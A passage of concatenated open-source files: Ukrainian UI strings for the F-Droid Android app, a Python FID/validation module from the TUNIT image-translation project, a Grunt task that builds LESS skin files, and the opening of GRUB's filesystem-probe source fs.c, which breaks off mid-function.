із вами!</string> <string name="nearby_splash__find_people_button">Знайти людей поблизу</string> <plurals name="details_last_update_days"> <item quantity="one">Оновлено %1$s день тому</item> <item quantity="few">Оновлено %1$d дні тому</item> <item quantity="many">Оновлено %1$d днів тому</item> <item quantity="other">Оновлено %1$d днів тому</item> </plurals> <string name="updates__tts__download_app">Завантажити</string> <string name="by_author_format">від %s</string> <string name="app__tts__cancel_download">Скасувати завантаження</string> <string name="menu_video">Відео</string> <string name="menu_license">Ліцензія: %s</string> <string name="details_last_updated_today">Оновлено сьогодні</string> <string name="antifeatures">Небажані функції</string> <plurals name="notification_summary_more"> <item quantity="one">+%1$d звістка…</item> <item quantity="few">+%1$d звістки…</item> <item quantity="many">+%1$d звісток…</item> <item quantity="other">+%1$d звісток…</item> </plurals> <string name="force_old_index">Примусово старий формат індексу</string> <string name="force_old_index_summary">У разі виникнення помилок або проблем сумісності використовуйте XML індекс застосунку</string> <string name="latest__empty_state__no_recent_apps">Недавніх застосунків не виявлено</string> <string name="latest__empty_state__never_updated">Щойно ваш перелік застосунків буде оновлено, найновіші застосунки з\'являться тут</string> <string name="latest__empty_state__no_enabled_repos">Щойно ви увімкнете сховище та оновите його, найновіші застосунки з\'являться тут</string> <string name="categories__empty_state__no_categories">Немає категорій для відображення</string> <string name="download_404">Запитаний файл не знайдено.</string> <plurals name="button_view_all_apps_in_category"> <item quantity="one">Оглянути %d застосунок</item> <item quantity="few">Оглянути усі %d застосунки</item> <item quantity="many">Оглянути усі %d застосунків</item> <item quantity="other">Оглянути усі %d застосунків</item> </plurals> <string name="nearby_splash__both_parties_need_fdroid">Обидві сторони мають %1$s використовувати поруч.</string> <string name="app__tts__downloading_progress">Завантаження, %1$d%% завершено</string> <plurals name="notification_summary_updates"> <item quantity="one">%1$d оновлення</item> <item quantity="few">%1$d oновлення</item> <item quantity="many">%1$d оновлень</item> <item quantity="other">%1$d оновлень</item> </plurals> <plurals name="notification_summary_installed"> <item quantity="one">%1$d встановлений застосунок</item> <item quantity="few">%1$d встановлених застосунки</item> <item quantity="many">%1$d встановлених застосунків</item> <item quantity="other">%1$d встановлених застосунків</item> </plurals> <plurals name="tts_view_all_in_category"> <item quantity="one">Показати %1$d застосунок у категорії %2$s</item> <item quantity="few">Показати %1$d застосунки у категорії %2$s</item> <item quantity="many">Показати %1$d застосунків у категорії %2$s</item> <item quantity="other">Показати %1$d застосунків у категорії %2$s</item> </plurals> <plurals name="details_last_update_weeks"> <item quantity="one">Оновлено %1$d тиждень тому</item> <item quantity="few">Оновлено %1$d тижні тому</item> <item quantity="many">Оновлено %1$d тижнів тому</item> <item quantity="other">Оновлено %1$d тижнів тому</item> </plurals> <plurals name="details_last_update_months"> <item quantity="one">Оновлено %1$d місяць тому</item> <item quantity="few">Оновлено %1$d місяці тому</item> <item quantity="many">Оновлено %1$d місяців тому</item> <item quantity="other">Оновлено %1$d місяців тому</item> </plurals> <plurals name="details_last_update_years"> <item quantity="one">Оновлено %1$d рік тому</item> <item quantity="few">Оновлено %1$d роки тому</item> <item quantity="many">Оновлено %1$d років тому</item> <item quantity="other">Оновлено %1$d років тому</item> </plurals> <string name="app_details__incompatible_mismatched_signature">Різний підпис до встановленої версії</string> <string name="app_details__no_versions__show_incompat_versions">Щоб усе одно показувати тут несумісні версії, увімкніть параметр \"%1$s\".</string> <string name="app_details__no_versions__no_compatible_signatures">Немає версій із сумісним підписом</string> <string name="app_details__no_versions__none_compatible_with_device">Немає сумісних із пристроєм версій</string> <string name="app_details__no_versions__explain_incompatible_signatures">Встановлена версія несумісна з будь-якими доступними версіями. Якщо видалити застосунок, ви зможете переглядати та встановлювати сумісні версії. Це часто трапляється з застосунками, встановленими через Google Play або з інших джерел, якщо вони підписані іншим сертифікатом.</string> <string name="app_installed_media">Файл встановлено в %s</string> <string name="app_permission_storage">F-Droid потребує дозволу на доступ до сховища для встановлення. Будь ласка, надайте дозвіл на наступному екрані, щоби продовжити встановлення.</string> <string name="app_list_download_ready">Завантажено, готовий до встановлення</string> <string name="status_inserting_x_apps">Збереження деталей застосунку (%1$d/%2$d) з %3$s</string> <string name="app_list__dismiss_app_update">Оновлення ігнорується</string> <string name="app_list__dismiss_vulnerable_app">Вразливість ігнорується</string> <string name="app_list__dismiss_downloading_app">Завантаження скасовано</string> <string name="updates__app_with_known_vulnerability__prompt_uninstall">Ми виявили вразливість з %1$s. Ми рекомендуємо видалити цей застосунок негайно.</string> <string name="updates__app_with_known_vulnerability__prompt_upgrade">Ми виявили вразливість з %1$s. Ми рекомендуємо оновлення до найновішої версії негайно.</string> <string name="updates__app_with_known_vulnerability__ignore">Знехтувати</string> <string name="privacy">Приватність</string> <string name="preventScreenshots_title">Запобігання знімків екрану</string> <string name="panic_app_unknown_app">невідомий застосунок</string> <string name="panic_app_setting_summary">Жодного застосунку не встановлено</string> <string name="panic_app_setting_none">Жоден</string> <string name="allow">Дозволити</string> <string name="panic_exit_title">Вийти з застосунку</string> <string name="panic_hide_title">Приховати %s</string> <string name="sort_search">Впорядкувати пошук</string> <string name="menu_liberapay">Liberapay</string> <string name="preventScreenshots_summary">Блокує знімки екрану та приховує вміст з останніх застосунків</string> <string name="panic_app_setting_title">Вибір тривожної кнопки</string> <string name="panic_app_dialog_title">Підтвердити тривожну кнопку</string> <string name="panic_app_dialog_message">Ви впевнені, що бажаєте дозволити %1$s виконувати дію тривожної кнопки?</string> <string name="panic_settings">Налаштування тривожної кнопки</string> <string name="panic_settings_summary">Заходи, які необхідно вжити в екстрених випадках</string> <string name="panic_exit_summary">Застосунок буде закрито</string> <string name="panic_destructive_actions">Деструктивні дії</string> <string name="panic_hide_summary">Застосунок приховає себе</string> <string name="panic_hide_warning_title">Запам\'ятайте, як відновити</string> <string name="hiding_calculator">Калькулятор</string> <string name="hiding_dialog_title">Приховати %s зараз</string> <string name="hide_on_long_search_press_title">Приховати кнопкою пошуку</string> <string name="repo_add_mirror">Додати дзеркало</string> <string name="repo_official_mirrors">Офіційні дзеркала</string> <string name="repo_user_mirrors">Дзеркала користувача</string> <string name="over_wifi">Через Wi-Fi</string> <string name="over_data">Через мобільну мережу</string> <string name="over_network_always_summary">Завжди використовувати це з\'єднання, коли це можливо</string> <string name="prompt_to_send_crash_reports">Запит на надсилання звітів про збої</string> <string name="prompt_to_send_crash_reports_summary">Збір відомостей про збої та запит на їхнє надсилання розробнику</string> <string name="hide_all_notifications">Приховати всі сповіщення</string> <string name="hide_all_notifications_summary">Заборонити показ всіх дій в рядку стану та панелі сповіщень.</string> <string name="install_history">Історія встановлень</string> <string name="install_history_summary">Перегляд особистого журналу всіх встановлень та вилучень</string> <string name="send_version_and_uuid">Надіслати версію та UUID на сервер</string> <string name="over_network_on_demand_summary">Використовувати це з\'єднання лише для завантаження</string> <string name="over_network_never_summary">Ніколи не завантажувати, використовуючи це з\'єднання</string> <string name="repo_exists_add_fingerprint">%1$s вже встановлено, ця дія додасть нові відомості про ключ.</string> <string name="repo_exists_enable">%1$s вже налаштовано, підтвердьте, що бажаєте увімкнути знову.</string> <string name="repo_exists_and_enabled">%1$s вже налаштовано й увімкнено.</string> <string name="repo_delete_to_overwrite">Спершу видаліть %1$s, аби додати його з конфліктним ключем.</string> <string name="share_repository">Поділитися сховищем</string> <string name="use_bluetooth">Використовувати Bluetooth</string> <string name="swap_toast_hotspot_enabled">Точку доступу Wi-Fi увімкнено</string> <string name="swap_toast_could_not_enable_hotspot">Не вдалося увімкнути Wi-Fi точку доступу!</string> <string name="warning_scaning_qr_code">Ваша камера не має автофокусу. Сканування коду може йти з труднощами.</string> <string name="send_install_history">Надіслати історію встановлення</string> <string name="send_history_csv">%s історію встановлень як CSV file</string> <string name="send_version_and_uuid_summary">Включити версію цього застосунку та випадковий унікальний ID. Зміни набудуть чинності після перезапуску.</string> <string name="allow_push_requests">Дозволяти сховищам даних встановлювати/видаляти застосунки</string> <string name="allow_push_requests_summary">Метадані сховищ можуть містити push-запити на встановлення та видалення застосунків</string> <string name="send_installed_apps">Поширити встановлені застосунки</string> <string name="send_installed_apps_csv">Застосунки, встановлені через F-Droid, як файл CSV</string> <string name="updates_disabled_by_settings">Усі оновлення вимкнено у налаштуваннях мобільного інтернету/WiFi</string> <string name="repo_exists_add_mirror">Це копія файлу %1$s, додати її як дзеркало файлу\?</string> <string name="menu_open">Відкрити</string> <string name="antidisabledalgorithmlist">Цей застосунок має слабкий підпис безпеки</string> <string name="antiknownvulnlist">Цей застосунок містить знану вразливість безпеки</string> <string name="antinosourcesince">Джерельний код вже не доступний, оновлення неможливі.</string> <string name="show_anti_feature_apps">Включити застосунки з сумнівними можливостями</string> <string name="show_anti_feature_apps_on">Показати застосунки, які для роботи потребують сумнівні можливості</string> <string name="force_touch_apps">Включити застосунки, які потребують тачскрин</string> <string name="force_touch_apps_on">Показати застосунки, які потребують тачскрин, незалежно від апаратного підтримування</string> <string name="panic_hide_warning_message">У разі небезпеки, це усуне %1$s із запускача. Лише введення \"%2$d\", у підробному застосунку %3$s, зможе його відновити.</string> <string name="hiding_dialog_message">Ви певні що хочете прибрати %1$s із запускача\? Тільки введення \"%2$d\", у підробному застосунку %3$s, зможе його відновити.</string> <string name="hiding_dialog_warning">Увага: всі піктограми застосунку на домашньому екрані буде вилучено, їх необхідно буде повернути вручну.</string> <string name="hide_on_long_search_press_summary">Затиснення кнопки пошуку приховає застосунок</string> <string name="swap_toast_invalid_url">URL для обміну є хибним: %1$s</string> <string name="about_forum">Форум підтримки</string> <string name="app_suggested">Запропоновано</string> <string name="app_size">Розмір: %1$s</string> <string name="menu_downgrade">Понизити версію</string> <string name="scan_removable_storage_title">Сканувати знімне сховище</string> <string name="scan_removable_storage_toast">Сканування %s…</string> <string name="scan_removable_storage_summary">Шукати сховища пакетів на знімних носіях, таких як SD-карти та USB-накопичувачі</string> <string name="app_repository">Сховище: %1$s</string> <string name="nearby_splash__read_external_storage">Перевірити наявність сховищ та дзеркал на носії SD.</string> <string name="nearby_splash__request_permission">Спробуйте це</string> <string name="not_visible_nearby">Поруч не ввімкнено</string> <string name="not_visible_nearby_description">Перед спробою обміну між пристроями поблизу, зробіть свій пристрій видимим.</string> <string name="swap_toast_using_path">Використання %1$s</string> <string name="swap_toast_not_removable_storage">Вибір не збігається з жодними видаленими пристроями зберігання даних, повторіть спробу!</string> <string name="swap_toast_find_removeable_storage">Виберіть знімну картку SD або USB</string> <string name="main_menu__updates">Оновлення</string> <string name="menu_translation">Переклад</string> <string name="undo">Повернути</string> <string name="app_list__dismiss_installing_app">Встановлення скасовано</string> <string name="menu_select_for_wipe">Виберіть для очищення</string> <string name="try_again">Спробувати знову</string> <string name="panic_will_be_wiped">Буде видалено зі всіма даними</string> <string name="panic_apps_to_uninstall">Програми, які потрібно видалити та їх дані</string> <string name="panic_add_apps_to_uninstall">Додайте програми, які потрібно видалити разом з даними</string> <string name="panic_reset_repos_title">Скинути сховища</string> <string name="panic_reset_repos_summary">Примусове повернення сховища до початкового стану</string> <string name="swap_visible_hotspot">Видно через точку доступу</string> <string name="swap_blank_wifi_ssid">(пусто)</string> <string name="swap_hidden_wifi_ssid">(приховано)</string> <string name="swap_setting_up_hotspot">Налаштування точки доступу…</string> <string name="swap_stopping_hotspot">Зупинка точки доступу…</string> <string name="swap_starting">Запуск…</string> <string name="swap_stopping">Зупинка…</string> <string name="disabled">Вимкнено</string> <string name="swap_error_cannot_start_bluetooth">Не вдається запустити Bluetooth!</string> <string name="swap_toast_closing_nearby_after_timeout">\"Поруч\" закрито, оскільки простоювало.</string> <string name="nearby_splash__document_tree">Перевірити наявність репозиторіїв та дзеркал на USB-OTG.</string> </resources>
{ "pile_set_name": "Github" }
""" TUNIT: Truly Unsupervised Image-to-Image Translation Copyright (c) 2020-present NAVER Corp. MIT license """ import torch.nn import torch.nn.parallel import torch.optim import torch.utils.data import torch.utils.data.distributed import torchvision.utils as vutils import torch.nn.functional as F import numpy as np try: from tqdm import tqdm except ImportError: # If not tqdm is not available, provide a mock version of it def tqdm(x): return x from scipy import linalg from tools.utils import * from validation.cluster_eval import cluster_eval def validateUN(data_loader, networks, epoch, args, additional=None): # set nets D = networks['D'] G = networks['G'] if not args.distributed else networks['G'].module C = networks['C'] if not args.distributed else networks['C'].module C_EMA = networks['C_EMA'] if not args.distributed else networks['C_EMA'].module G_EMA = networks['G_EMA'] if not args.distributed else networks['G_EMA'].module # switch to train mode D.eval() G.eval() C.eval() C_EMA.eval() G_EMA.eval() # data loader val_dataset = data_loader['TRAINSET'] if args.dataset in ['animal_faces', 'lsun_car', 'ffhq'] else data_loader['VALSET'] val_loader = data_loader['VAL'] # Calculate Acc. of Classifier with torch.no_grad(): if not args.dataset in ['afhq_dog', 'afhq_cat', 'afhq_wild', 'lsun_car', 'ffhq'] and args.output_k == len(args.att_to_use): is_best = cluster_eval(args, C, val_loader, val_loader) print("EPOCH {} / BEST EVER {:.4f}".format(epoch+1, max(args.epoch_acc))) # Parse images for average reference vector x_each_cls = [] if args.dataset == 'animal_faces': num_tmp_val = -50 elif args.dataset == 'ffhq': num_tmp_val = -7000 elif args.dataset == 'lsun_car': num_tmp_val = -10000 else: num_tmp_val = 0 with torch.no_grad(): val_tot_tars = torch.tensor(val_dataset.targets) for cls_idx in range(len(args.att_to_use)): tmp_cls_set = (val_tot_tars == args.att_to_use[cls_idx]).nonzero()[num_tmp_val:] tmp_ds = torch.utils.data.Subset(val_dataset, tmp_cls_set) tmp_dl = torch.utils.data.DataLoader(tmp_ds, batch_size=50, shuffle=False, num_workers=0, pin_memory=True, drop_last=False) tmp_iter = iter(tmp_dl) tmp_sample = None for sample_idx in range(len(tmp_iter)): imgs, _ = next(tmp_iter) x_ = imgs[0] if tmp_sample is None: tmp_sample = x_.clone() else: tmp_sample = torch.cat((tmp_sample, x_), 0) x_each_cls.append(tmp_sample) ####### if epoch >= args.fid_start: val_iter = iter(val_loader) cluster_grid = [[] for _ in range(args.output_k)] for _ in tqdm(range(len(val_loader))): x, y = next(val_iter) x = x[0] x = x.cuda(args.gpu) outs = C(x) feat = outs['cont'] logit = outs['disc'] target = torch.argmax(logit, 1) for idx in range(len(feat.cpu().data.numpy())): cluster_grid[int(target[idx].item())].append(x[idx].view(1, *x[idx].shape)) all_none_zero = True min_len = 9999 for i in range(len(cluster_grid)): if len(cluster_grid[i]) == 0: all_none_zero = False break if min_len > len(cluster_grid[i]): min_len = len(cluster_grid[i]) cluster_grid[i] = torch.cat(cluster_grid[i], 0) if all_none_zero: for cls in cluster_grid: print(len(cls), cls.shape) # AVG with torch.no_grad(): grid_row = min(min_len, 30) for i in range(len(cluster_grid)): s_tmp = C_EMA.moco(cluster_grid[i]) s_avg = torch.mean(s_tmp, 0, keepdim=True) s_avg = s_avg.repeat((grid_row, 1, 1, 1)) for j in range(len(cluster_grid)): c_tmp = G_EMA.cnt_encoder(cluster_grid[j][:grid_row]) x_avg = G_EMA.decode(c_tmp, s_avg) x_res = torch.cat((cluster_grid[j][:grid_row], x_avg), 0) vutils.save_image(x_res, os.path.join(args.res_dir, 'AVG{}{}.jpg'.format(j, i)), normalize=True, nrow=grid_row, padding=0) # Reference guided with torch.no_grad(): # Just a buffer image ( to make a grid ) ones = torch.ones(1, x_each_cls[0].size(1), x_each_cls[0].size(2), x_each_cls[0].size(3)).cuda(args.gpu, non_blocking=True) for src_idx in range(len(args.att_to_use)): x_src = x_each_cls[src_idx][:args.val_batch, :, :, :].cuda(args.gpu, non_blocking=True) rnd_idx = torch.randperm(x_each_cls[src_idx].size(0))[:args.val_batch] x_src_rnd = x_each_cls[src_idx][rnd_idx].cuda(args.gpu, non_blocking=True) for ref_idx in range(len(args.att_to_use)): x_res_ema = torch.cat((ones, x_src), 0) x_rnd_ema = torch.cat((ones, x_src_rnd), 0) x_ref = x_each_cls[ref_idx][:args.val_batch, :, :, :].cuda(args.gpu, non_blocking=True) rnd_idx = torch.randperm(x_each_cls[ref_idx].size(0))[:args.val_batch] x_ref_rnd = x_each_cls[ref_idx][rnd_idx].cuda(args.gpu, non_blocking=True) for sample_idx in range(args.val_batch): x_ref_tmp = x_ref[sample_idx: sample_idx + 1].repeat((args.val_batch, 1, 1, 1)) c_src = G_EMA.cnt_encoder(x_src) s_ref = C_EMA(x_ref_tmp, sty=True) x_res_ema_tmp = G_EMA.decode(c_src, s_ref) x_ref_tmp = x_ref_rnd[sample_idx: sample_idx + 1].repeat((args.val_batch, 1, 1, 1)) c_src = G_EMA.cnt_encoder(x_src_rnd) s_ref = C_EMA(x_ref_tmp, sty=True) x_rnd_ema_tmp = G_EMA.decode(c_src, s_ref) x_res_ema_tmp = torch.cat((x_ref[sample_idx: sample_idx + 1], x_res_ema_tmp), 0) x_res_ema = torch.cat((x_res_ema, x_res_ema_tmp), 0) x_rnd_ema_tmp = torch.cat((x_ref_rnd[sample_idx: sample_idx + 1], x_rnd_ema_tmp), 0) x_rnd_ema = torch.cat((x_rnd_ema, x_rnd_ema_tmp), 0) vutils.save_image(x_res_ema, os.path.join(args.res_dir, '{}_EMA_{}_{}{}.jpg'.format(args.gpu, epoch+1, src_idx, ref_idx)), normalize=True, nrow=(x_res_ema.size(0) // (x_src.size(0) + 2) + 1)) vutils.save_image(x_rnd_ema, os.path.join(args.res_dir, '{}_RNDEMA_{}_{}{}.jpg'.format(args.gpu, epoch+1, src_idx, ref_idx)), normalize=True, nrow=(x_res_ema.size(0) // (x_src.size(0) + 2) + 1)) def calcFIDBatch(args, data_loader, networks, model='NONE', train_dataset=None): # Set non-shuffle train loader + extract class-wise images trainset = train_dataset['FULL'] val_dataset = data_loader['VAL']['TRAINSET'] if args.dataset == 'animal_faces' else data_loader['VAL']['VALSET'] if model == 'EMA': G = networks['G_EMA'] if not args.distributed else networks['G_EMA'].module C = networks['C_EMA'] if not args.distributed else networks['C_EMA'].module else: G = networks['G'] if not args.distributed else networks['G'].module C = networks['C'] if not args.distributed else networks['C'].module inceptionNet = networks['inceptionNet'] inceptionNet.eval() G.eval() C.eval() eps = 1e-6 bs_fid = 50 fid_classwise = [] mean = [0.485, 0.456, 0.406] std = [0.229, 0.224, 0.225] model_device = next(G.parameters()).device use_cuda = not (model_device == torch.device('cpu')) mean = torch.tensor(mean).view(1, 3, 1, 1) std = torch.tensor(std).view(1, 3, 1, 1) if use_cuda: mean = mean.cuda(args.gpu) std = std.cuda(args.gpu) inceptionNet.cuda(args.gpu) with torch.no_grad(): # ========================= # # Parse source images (val) # # ========================= # x_val_list = [] num_target_dataset = (args.min_data + args.max_data) // 2 multiples = bs_fid // len(args.att_to_use) if multiples < 1: multiples = 1 if len(args.att_to_use) == 1: num_each_val = (num_target_dataset // multiples) else: num_each_val = (num_target_dataset // multiples) // (len(args.att_to_use) - 1) val_tot_tars = torch.tensor(val_dataset.targets) for cls_idx in range(len(args.att_to_use)): num_tmp_val = -50 if args.dataset == 'animal_faces' else 0 tmp_cls_set = (val_tot_tars == args.att_to_use[cls_idx]).nonzero()[num_tmp_val:] tmp_ds = torch.utils.data.Subset(val_dataset, tmp_cls_set) tmp_dl = torch.utils.data.DataLoader(tmp_ds, batch_size=50, shuffle=False, num_workers=0, pin_memory=True, drop_last=False) tmp_iter = iter(tmp_dl) tmp_sample = None for _ in range(len(tmp_iter)): imgs, _ = next(tmp_iter) x_ = imgs[0] if tmp_sample is None: tmp_sample = x_.clone() else: tmp_sample = torch.cat((tmp_sample, x_), 0) x_val_list.append(tmp_sample) # ================ # # Parse real preds # # ================ # pred_real_list = [] for idx_cls in range(len(args.att_to_use)): pred_real = np.empty((args.max_data, args.dims)) tot_targets = torch.tensor(trainset.targets) tmp_sub_idx = (tot_targets == args.att_to_use[idx_cls]).nonzero() num_train_to_use = -50 if args.dataset == 'animal_faces' else num_target_dataset train_to_use = tmp_sub_idx[:num_train_to_use] tmp_dataset = torch.utils.data.Subset(trainset, train_to_use) tmp_train_loader = torch.utils.data.DataLoader(tmp_dataset, batch_size=bs_fid, shuffle=False, num_workers=args.workers, pin_memory=True, drop_last=False) tmp_num_sample = len(tmp_dataset) tmp_num_iter = iter(tmp_train_loader) remainder = tmp_num_sample - (bs_fid * (len(tmp_train_loader) - 1)) for i in range(len(tmp_train_loader)): imgs, _ = next(tmp_num_iter) x_train = imgs[0] if use_cuda: x_train = x_train.cuda(args.gpu) x_train = (x_train + 1.0) / 2.0 x_train = (x_train - mean) / std x_train = F.interpolate(x_train, size=[299, 299]) tmp_real = inceptionNet(x_train)[0] if tmp_real.shape[2] != 1 or tmp_real.shape[3] != 1: tmp_real = F.adaptive_avg_pool2d(tmp_real, (1, 1)) if i == (len(tmp_num_iter) - 1) and remainder > 0: pred_real[i * bs_fid: i * bs_fid + remainder] = tmp_real.cpu().data.numpy().reshape(remainder, -1) else: pred_real[i * bs_fid: (i + 1) * bs_fid] = tmp_real.cpu().data.numpy().reshape(bs_fid, -1) pred_real = pred_real[:tmp_num_sample] # print("NUM REAL", idx_cls, len(pred_real), tmp_num_sample) pred_real_list.append(pred_real) # ================ # # Parse fake preds # # ================ # pred_fake_list = [] for i in range(len(args.att_to_use)): pred_fake = np.empty((args.max_data, args.dims)) # sty. vector of target domain s_tmp_list = [] for sel_idx in range(multiples): x_sty_idx = torch.randperm(x_val_list[i].size(0))[:num_each_val] x_val_selected = x_val_list[i][x_sty_idx] if use_cuda: x_val_selected = x_val_selected.cuda(args.gpu) s_tmp = C(x_val_selected, sty=True) s_tmp_list.append(s_tmp) num_used = 0 if len(args.att_to_use) == 1: inner_iter = 1 else: inner_iter = len(args.att_to_use) - 1 for j in range(inner_iter): if inner_iter == 1: x_cnt_tmp = x_val_list[j][:num_each_val] else: x_cnt_tmp = x_val_list[(i + j + 1) % len(args.att_to_use)][:num_each_val] if use_cuda: x_cnt_tmp = x_cnt_tmp.cuda(args.gpu) x_tmp_list = [] for sel_idx in range(multiples): c_tmp = G.cnt_encoder(x_cnt_tmp) x_fake_tmp = G.decode(c_tmp, s_tmp_list[sel_idx]) x_tmp_list.append(x_fake_tmp) x_fake_tmp = torch.cat(x_tmp_list, 0) tot_num_in_fake = x_fake_tmp.size(0) tot_iter_in_fake = (tot_num_in_fake // bs_fid) remainder_fake = tot_num_in_fake - tot_iter_in_fake * bs_fid if remainder_fake > 0: tot_iter_in_fake += 1 for k in range(tot_iter_in_fake): if k == tot_iter_in_fake - 1 and remainder_fake > 0: x_fake_tmp_ = x_fake_tmp[k * bs_fid: k * bs_fid + remainder_fake] else: x_fake_tmp_ = x_fake_tmp[k * bs_fid: (k + 1) * bs_fid] num_used += len(x_fake_tmp_) x_fake_tmp_ = (x_fake_tmp_ + 1.0) / 2.0 x_fake_tmp_ = (x_fake_tmp_ - mean) / std x_fake_tmp_ = F.interpolate(x_fake_tmp_, size=[299, 299]) tmp_fake = inceptionNet(x_fake_tmp_)[0] if tmp_fake.shape[2] != 1 or tmp_fake.shape[3] != 1: tmp_fake = F.adaptive_avg_pool2d(tmp_fake, output_size=(1, 1)) if k == tot_iter_in_fake - 1 and remainder_fake > 0: pred_fake[j * tot_num_in_fake + k * bs_fid:j * tot_num_in_fake + k * bs_fid + remainder_fake] = tmp_fake.cpu().data.numpy().reshape(remainder_fake, -1) else: pred_fake[j * tot_num_in_fake + k * bs_fid:j * tot_num_in_fake + (k + 1) * bs_fid] = tmp_fake.cpu().data.numpy().reshape(bs_fid, -1) mult = (len(args.att_to_use) - 1) if len(args.att_to_use) != 1 else 1 pred_fake = pred_fake[:mult * num_each_val * multiples] pred_fake = pred_fake[:num_target_dataset] # print("NUM FAKE", i, len(pred_fake), mult * num_each_val * multiples, num_used) pred_fake_list.append(pred_fake) for i in range(len(args.att_to_use)): pred_real_ = pred_real_list[i] pred_fake_ = pred_fake_list[i] mu_real = np.atleast_1d(np.mean(pred_real_, axis=0)) std_real = np.atleast_2d(np.cov(pred_real_, rowvar=False)) mu_fake = np.atleast_1d(np.mean(pred_fake_, axis=0)) std_fake = np.atleast_2d(np.cov(pred_fake_, rowvar=False)) assert mu_fake.shape == mu_real.shape assert std_fake.shape == std_real.shape mu_diff = mu_fake - mu_real covmean, _ = linalg.sqrtm(std_fake.dot(std_real), disp=False) if not np.isfinite(covmean).all(): msg = ('fid calculation produces singular product; ' 'adding %s to diagonal of cov estimates') % eps print(msg) offset = np.eye(std_fake.shape[0]) * eps covmean = linalg.sqrtm((std_fake + offset).dot(std_real + offset)) # Numerical error might give slight imaginary component if np.iscomplexobj(covmean): if not np.allclose(np.diagonal(covmean).imag, 0, atol=1e-3): m = np.max(np.abs(covmean.imag)) raise ValueError('Imaginary component {}'.format(m)) covmean = covmean.real tr_covmean = np.trace(covmean) fid = mu_diff.dot(mu_diff) + np.trace(std_fake) + np.trace(std_real) - 2 * tr_covmean fid_classwise.append(fid) return fid_classwise
{ "pile_set_name": "Github" }
/** * Task for creating a skin.dev.less files for each of the skin directories located in the path. It will automatically import * the used less files based on the JS components found in the importFrom file. It will look for -x-less JSDoc comments and include * these into the output less file. */ var path = require('path'); var fs = require('fs'); module.exports = function(grunt) { /** * Compiles a less file with imports for all the specified paths. */ function compileLessFile(paths, lessFilePath) { var lessImportCode = ""; paths.forEach(function(filePath) { lessImportCode += '@import "' + filePath + '";\n'; }); fs.writeFileSync(lessFilePath, lessImportCode); } /** * Compiles a less source file from all the specified paths. */ function compileLessSourceFile(paths, lessFilePath) { var lessSourceCode = ""; paths.forEach(function(filePath) { lessSourceCode += "\n" + fs.readFileSync(path.join(path.dirname(lessFilePath), filePath)) + "\n"; }); fs.writeFileSync(lessFilePath, lessSourceCode); } /** * Parses the JS doc comments for -x-less items and include returns them as an array. */ function parseLessDocs(filePath) { var matches, docCommentRegExp = /\/\*\*([\s\S]+?)\*\//g, lessFiles = []; var source = grunt.file.read(filePath).toString(); for (matches = docCommentRegExp.exec(source); matches; matches = docCommentRegExp.exec(source)) { var docComment = matches[1]; var lessMatch = /\@\-x\-less\s+(.+)/g.exec(docComment); if (lessMatch) { lessFiles.push(lessMatch[1]); } } return lessFiles; } grunt.registerMultiTask("skin", "Creates skin less files out of registred UI components.", function() { var options = grunt.config([this.name, this.target]).options; fs.readdirSync(options.path).forEach(function(dirName) { var skinDirPath = path.join(options.path, dirName); if (fs.statSync(skinDirPath).isDirectory()) { var lessFiles = options.prepend || []; if (options.importFrom) { lessFiles = lessFiles.concat(parseLessDocs(options.importFrom)); } if (options.append) { lessFiles = lessFiles.concat(options.append); } compileLessFile(lessFiles, path.join(skinDirPath, options.devLess)); compileLessSourceFile(lessFiles, path.join(skinDirPath, options.srcLess)); } }); }); };
{ "pile_set_name": "Github" }
/* fs.c - filesystem manager */ /* * GRUB -- GRand Unified Bootloader * Copyright (C) 2002,2005,2007 Free Software Foundation, Inc. * * GRUB is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * GRUB is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GRUB. If not, see <http://www.gnu.org/licenses/>. */ #include <grub/disk.h> #include <grub/net.h> #include <grub/fs.h> #include <grub/file.h> #include <grub/err.h> #include <grub/misc.h> #include <grub/types.h> #include <grub/mm.h> #include <grub/term.h> #include <grub/i18n.h> grub_fs_t grub_fs_list = 0; grub_fs_autoload_hook_t grub_fs_autoload_hook = 0; /* Helper for grub_fs_probe. */ static int probe_dummy_iter (const char *filename __attribute__ ((unused)), const struct grub_dirhook_info *info __attribute__ ((unused)), void *data __attribute__ ((unused))) { return 1; } grub_fs_t grub_fs_probe (grub_device_t device) { grub_fs_t p; if (device->disk) { /* Make it sure not to have an infinite recursive calls. */ static int count = 0; for (p = grub_fs_list; p; p = p->next) { grub_dprintf ("fs", "Detecting %s...\n", p->name); /* This is evil: newly-created just mounted BtrFS after copying all GRUB files has a very peculiar unrecoverable corruption which will be fixed at sync but we'd rather not do a global sync and syncing just files doesn't seem to help. Relax the check for this time. */ #ifdef GRUB_UTIL if (grub_strcmp (p->name, "btrfs") == 0) { char *label = 0; p->uuid (device, &label); if (label) grub_free (label); } else #endif (p->dir) (device, "/", probe_dummy_iter, NULL); if (grub_errno == GRUB_ERR_NONE) return p; grub_error_push (); grub_dprintf ("fs", "%s detection failed.\n", p->name); grub_error_pop (); if (grub_errno != GRUB_ERR_BAD_FS && grub_errno != GRUB_ERR_OUT_OF_RANGE) return 0; grub_errno = GRUB_ERR_NONE; } /* Let's load modules automatically. */ if (grub_fs_autoload_hook && count == 0) { count++; while (grub_fs_autoload_hook ()) { p = grub_fs_list; (p->dir) (device, "/", probe_dummy_iter, NULL); if (grub_errno == GRUB_ERR_NONE) { count--; return p; } if (grub_errno != GRUB_ERR_BAD_FS && grub_errno != GRUB_ERR_OUT_OF_RANGE) { count--; return 0; } grub_errno = GRUB_ERR_NONE; } count--; } } else if (device->net && device->net->fs) return device->net->fs; grub_error (GRUB_ERR_UNKNOWN_FS, N_("unknown filesystem")); return 0; } /* Block list support routines. */ struct grub_fs_block { grub_disk_addr_t offset; unsigned long length; }; static grub_err_t grub_fs_blocklist_open (grub_file_t file, const char *name) { char *p = (char *) name; unsigned num = 0; unsigned i; grub_disk_t disk = file->device->disk; struct grub_fs_block *blocks; /* First, count the number of blocks. */ do { num++; p = grub_strchr (p, ','); if (p) p++; } while (p); /* Allocate a block list. */ blocks = grub_zalloc (sizeof (struct grub_fs_block) * (num + 1)); if (! blocks) return 0; file->size = 0; p = (char *) name; for (i = 0; i < num; i++) { if (*p != '+') { blocks[i].offset = grub_strtoull (p, &p, 0); if (grub_errno != GRUB_ERR_NONE || *p != '+') { grub_error 